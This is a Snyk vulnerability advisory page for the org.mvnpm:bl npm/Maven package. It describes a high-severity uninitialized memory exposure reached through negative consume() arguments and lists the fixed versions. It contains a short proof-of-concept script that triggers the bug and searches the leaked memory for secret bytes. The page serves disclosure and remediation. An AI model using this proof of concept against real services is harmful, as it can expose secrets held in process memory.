org.mvnpm:bl@4.0.2

  • latest version

    7.0.14

  • latest non vulnerable version

  • first published

    2 years ago

  • latest version published

    25 days ago

  • licenses detected

  • package registry

  • Direct Vulnerabilities

    Known vulnerabilities in the org.mvnpm:bl package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Uninitialized Memory Exposure

    org.mvnpm:bl is a library that allows you to collect buffers and access with a standard readable buffer interface.

    Affected versions of this package are vulnerable to Uninitialized Memory Exposure. If user input ends up in consume() argument and can become negative, BufferList state can be corrupted, tricking it into exposing uninitialized memory via regular .slice() calls.

    PoC by chalker

    const { BufferList } = require('bl')
    const secret = require('crypto').randomBytes(256)
    for (let i = 0; i < 1e6; i++) {
      const clone = Buffer.from(secret)
      const bl = new BufferList()
      bl.append(Buffer.from('a'))
      bl.consume(-1024)
      const buf = bl.slice(1)
      if (buf.indexOf(clone) !== -1) {
        console.error(`Match (at ${i})`, buf)
      }
    }
    

    How to fix Uninitialized Memory Exposure?

    Upgrade org.mvnpm:bl to version 2.2.1, 3.0.1, 4.0.3 or higher.

    [2.2.0,2.2.1)[3.0.0,3.0.1)[4.0.1,4.0.3)